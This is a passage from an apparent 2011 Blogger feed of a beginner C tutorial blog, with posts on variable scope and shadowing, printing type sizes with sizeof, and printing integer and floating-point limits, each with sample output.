&lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;i = &lt;/span&gt;&lt;span style="color:#990000;"&gt;10&lt;/span&gt;&lt;span style="color:#000000;"&gt;;    &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;    &lt;/span&gt;&lt;span style="color:#000000;"&gt;{        &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;i = &lt;/span&gt;&lt;span style="color:#990000;"&gt;0&lt;/span&gt;&lt;span style="color:#000000;"&gt;;            &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;for&lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;( &lt;/span&gt;&lt;span style="color:#000000;"&gt;i=&lt;/span&gt;&lt;span style="color:#990000;"&gt;0&lt;/span&gt;&lt;span style="color:#000000;"&gt;;i&amp;lt;&lt;/span&gt;&lt;span style="color:#990000;"&gt;2&lt;/span&gt;&lt;span style="color:#000000;"&gt;;i++&lt;/span&gt;&lt;span style="color:#000000;"&gt;)  &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#000000;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;               &lt;/span&gt;&lt;span style="color:#000000;"&gt;printf&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#2a00ff;"&gt;"value of i is %d\n"&lt;/span&gt;&lt;span style="color:#000000;"&gt;,i&lt;/span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;        &lt;/span&gt;&lt;span style="color:#000000;"&gt;}     &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;    &lt;/span&gt;&lt;span style="color:#000000;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;    &lt;/span&gt;&lt;span style="color:#000000;"&gt;printf&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#2a00ff;"&gt;"the value of i is %d\n"&lt;/span&gt;&lt;span style="color:#000000;"&gt;,i&lt;/span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;}&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;br /&gt;OUTPUT&lt;br /&gt;&lt;br /&gt;---------------------------------------&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;pre class="codeResult"&gt;value of i is 0&lt;br /&gt;value of i is 1&lt;br /&gt;the value of i is 10&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-9190189763536739790?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/9190189763536739790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/9190189763536739790'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/scope-of-variables.html' title='Scope of variables'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4529490774388112987</id><published>2011-09-28T05:06:00.000-07:00</published><updated>2011-09-28T05:13:22.075-07:00</updated><title type='text'>Variable Scope</title><content type='html'>&lt;a style="font-weight: bold; color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/scope-of-variables.html"&gt;Scope of variables&lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 51, 255); font-weight: bold;" href="http://geekcodes.blogspot.com/2011/09/inner-variable-shadows-outer-variable.html"&gt;&lt;br /&gt;Inner variable shadows outer variable&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4529490774388112987?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4529490774388112987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4529490774388112987'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/variable-scope.html' title='Variable Scope'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2473101156986358315</id><published>2011-09-28T05:02:00.000-07:00</published><updated>2011-09-28T05:04:39.481-07:00</updated><title type='text'>Finding the size of a type</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;main&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type char occupy %d bytes"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;char&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type short occupy %d bytes"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;short&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type int occupy %d bytes"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type long occupy %d bytes"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;long&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type float occupy %d bytes"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;float&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type double occupy %d bytes"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;double&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type long double occupy %d bytes"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;long double&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;return &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;OUTPUT&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;pre class="codeResult"&gt;Variables of type char occupy 1 bytes    &lt;br /&gt;Variables of type short occupy 2 bytes     &lt;br /&gt;Variables of type int occupy 4 bytes     &lt;br /&gt;Variables of type long occupy 4 bytes     &lt;br /&gt;Variables of type float occupy 4 bytes     &lt;br /&gt;Variables of type double occupy 8 bytes     &lt;br /&gt;Variables of type long double occupy 12 bytes&lt;/pre&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2473101156986358315?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2473101156986358315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2473101156986358315'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/finding-size-of-type.html' title='Finding the size of a type'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8984154507481847526</id><published>2011-09-28T04:58:00.000-07:00</published><updated>2011-09-28T05:01:53.711-07:00</updated><title type='text'>Finding the limits</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#include &lt;stdio.h&gt;      &lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#include &lt;limits.h&gt;   &lt;/limits.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#include &amp;lt;&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;float&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.h&amp;gt;    &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;main&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"Variables of type char store values from %d to %d"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, CHAR_MIN, CHAR_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type unsigned char store values from 0 to %u"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, UCHAR_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type short store values from %d to %d"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, SHRT_MIN, SHRT_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type unsigned short store values from 0 to %u"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,USHRT_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type int store values from %d to %d"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, INT_MIN, INT_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type unsigned int store values from 0 to %u"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, UINT_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type long store values from %ld to %ld"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, LONG_MIN, LONG_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type unsigned long store values from 0 to %lu"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, ULONG_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type long long store values from %lld to %lld"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, LLONG_MIN, LLONG_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type unsigned long long store values from 0 to %llu"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, ULLONG_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\n\nThe size of the smallest non-zero value of type float is %.3e"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, FLT_MIN&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nThe size of the largest value of type float is %.3e"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, FLT_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nThe size of the smallest non-zero value of type double is %.3e"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, DBL_MIN&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nThe size of the largest value of type double is %.3e"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, DBL_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nThe size of the smallest non-zero value of type long double is %.3Le"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, LDBL_MIN&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nThe size of the largest value of type long double is %.3Le\n"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, LDBL_MAX&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type float provide %u decimal digits precision."&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,  FLT_DIG&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type double provide %u decimal digits precision."&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,  DBL_DIG&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\nVariables of type long double provide %u decimal digits precision."&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, LDBL_DIG&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;return &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;OUTPUT&lt;br /&gt;&lt;br /&gt;-----------------------------------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;div style="text-align: left;"&gt;&lt;pre class="codeResult"&gt;Variables of type char store values from -128 to 127    &lt;br /&gt;Variables of type unsigned char store values from 0 to 255    &lt;br /&gt;Variables of type short store values from -32768 to 32767     &lt;br /&gt;Variables of type unsigned short store values from 0 to 65535    &lt;br /&gt;Variables of type int store values from -2147483648 to 2147483647   &lt;br /&gt; Variables of type unsigned int store values from 0 to 4294967295     &lt;br /&gt;Variables of type long store values from -2147483648 to 2147483647    &lt;br /&gt;Variables of type unsigned long store values from 0 to 4294967295    &lt;br /&gt;Variables of type long long store values from -9223372036854775808 to 9223372036854775807    &lt;br /&gt;Variables of type unsigned long long store values from 0 to 18446744073709551615           &lt;br /&gt;The size of the smallest non-zero value of type float is 1.175e-38     &lt;br /&gt;The size of the largest value of type float is 3.403e+38     &lt;br /&gt;The size of the smallest non-zero value of type double is 2.225e-308     &lt;br /&gt;The size of the largest value of type double is 1.798e+308     &lt;br /&gt;The size of the smallest non-zero value of type long double is 3.362e-4932     &lt;br /&gt;The size of the largest value of type long double is 1.190e+4932           &lt;br /&gt;Variables of type float provide 6 decimal digits precision.     &lt;br /&gt;Variables of type double provide 15 decimal digits precision.     &lt;br /&gt;Variables of type long double provide 18 decimal digits precision.&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8984154507481847526?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8984154507481847526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8984154507481847526'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/finding-limits.html' title='Finding the limits'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' 